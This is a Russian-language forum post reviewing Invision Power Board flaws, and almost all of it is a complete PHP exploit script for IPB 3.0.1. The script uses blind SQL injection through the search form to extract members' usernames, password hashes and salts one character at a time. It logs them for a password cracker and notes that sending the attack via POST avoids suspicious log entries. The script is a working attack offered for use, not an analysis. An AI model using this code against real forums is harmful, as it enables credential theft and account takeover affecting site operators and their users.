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Ответ: Обзор уязвимоcтей IPB
Старый 02.03.2011, 20:52   #2
therf2
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По умолчанию Обзор уязвимоcтей IPB


IPB 3.0.1 sql injection exploit
Код:
<?php
error_reporting(E_ALL);
//////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB 3.0.1 sql injection exploit
// Version 1.0
// written by Cryptovirus
// http://de.crypt.in/
// 31. january 2010
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. log format compatible with passwordspro
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//================================================== ===================
$cli = php_sapi_name() === 'cli';
//================================================== ===================
// Die, if executed from webserver
//================================================== ===================
if(!$cli)
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Error!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "This script will not run through a webserver.<br />\n";
echo "</center></body></html>\n";
exit;
}
//================================================== ===================
// Print the awesome de.crypt.in logo
//================================================== ===================
echo "\n _ _ _ ";
echo "\n __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ ";
echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ ";
echo "\n| (_| | __/| (__| | | |_| | |_) | |_ _| | | | |";
echo "\n \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|";
echo "\n |___/|_| \n\n";
//================================================== ===================
// Check if all command line arguments were passed
//================================================== ===================
if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){
echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password]\n";
echo "\n";
echo "NOTE: Login and password are optional, use for forums that require registration.\n";
echo "Options: 1 - Fetch username, 2 - Fetch password hash\n\n";
echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar\n";
die;
}
//================================================== ===================
// Set some important variables...
//================================================== ===================
$topicname = '';
$url = $argv[1];
$chosen_id = $argv[2];
$ch_option = $argv[3];
if(isset($argv[4])){
if(isset($argv[5])){
$user_login = $argv[4];
$user_pass = $argv[5];
}
else{
echo "Error: Password not specified with username\n";
die;
}
}
# Proxy settings
# Be sure to use proxy 
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipb_log.txt'; //Log file

if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//================================================== ===================
xecho("Target: $url\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("==========================================");
add_line("Target: $url");
if(isset($argv[4])){
login_to_forum($argv[4], $argv[5]);
}
$i = $chosen_id;
echo "Fetching topics from ID $i\n";
if(!fetch_target_id($i))
{
echo "No topics found.\n";
fwrite(STDOUT, "Last ditch effort, enter topic: ");
$topicname = trim(fgets(STDIN)); 
}
else echo "Topic found! Hacktime.\n";

// Check chosen option and proceed accordingly
add_line("------------------------------------------");
if($ch_option == 2){
$hash = get_hash($i);
$salt = get_salt($i);
$line = "$i:$hash:$salt";
add_line($line);
xecho("\n------------------------------------------\n");
xecho("User ID: $i\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");
}
else if($ch_option == 1){
$uname = get_user($i);
$line = "The username for id $i is $uname";
add_line($line);
xecho("$uname");
}
xecho("\nQuestions and feedback - http://de.crypt.in/ \n");
die(" \n");
//////////////////////////////////////////////////////////////////////
function login_to_forum($user, $pass)
{
global $url;
$post = 'app=core&module=global&section=login&do=process&username='.$user.'&password='.$pass.'&rememberMe=1';
$buff = trim(make_post($url, $post, '', $url));
if(strpos($buff,'The login was successful!')>0){
xecho("Logged in.\n");
}
else{
xecho("Error: Unable to login.");
die;
}
}
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;

$post = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%5Ball%5D=1&content_title_only=1&search_term=test%2527';
$buff = trim(make_post($url, $post, '', $url));

if(strpos($buff,'Moved Permanently')>0)
{
die('Ivalid. Try adding trailing slash to url. Exiting ...');
}

if(strpos($buff,'No results found for')>0)
{
die('Target is patched? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function fetch_target_id($id)
{
global $url, $topicname; 
$post = 'app=core&module=search&do=user_posts&mid='.$id.'&view_by_title=1&search_filter_app%5Bforums%5D=1';
$buff = trim(make_post($url, $post, '', $url));
if(strpos($buff,'View result')>0){
$location = strpos($buff,'View result');
$start = strpos($buff,'>',$location)+1;
$end = strpos($buff,'</a>',$start);
$topicname = substr($buff,$start,($end-$start));
return true;
}
else return false;
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
$len = 5;
$out = '';
xecho("Finding salt ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}
xecho("\nFinal salt for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
global $prefix;
$char = '';
$min = 32;
$max = 128;
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))';
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
$len = 32;
$out = '';
xecho("Finding hash ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}
xecho("\nFinal hash for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))';
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_user($id)
{
$len = 32;
$out = '';

xecho("Finding username ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_userchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current username: $out \n");
}

xecho("\nFinal username for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_userchar($pos, $id)
{
global $prefix;

$char = '';
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))';

// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);

if($letter)
{
$min = 65;
$max = 122;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}

$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
global $topicname;

$bret = false;
$maxtry = 10;
$try = 1;

$pattern = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%%5Ball%%5D=1&content_title_only=1&search_term='.$topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname;
$post = sprintf($pattern, $p);

while(1)
{
$buff = trim(make_post($url, $post, '', $url));

if(strpos($buff,'Your search for the term <em><strong>')>0)
{
$bret = true;
break;
}
elseif(strpos($buff,'No results found for')>0)
{
break;
}
elseif(strpos($buff, 'Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
xecho("Will wait 30 seconds for flood control. Expect 2-3 tries.\n");
xecho("This is going to take years...\n");
sleep(10);
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}

return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt');


if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);

if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}

if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}

if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}

if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}

$fc = curl_exec($ch);
curl_close($ch);

return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\r\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
///////////////////////////////////////////////////////////////////////
?>
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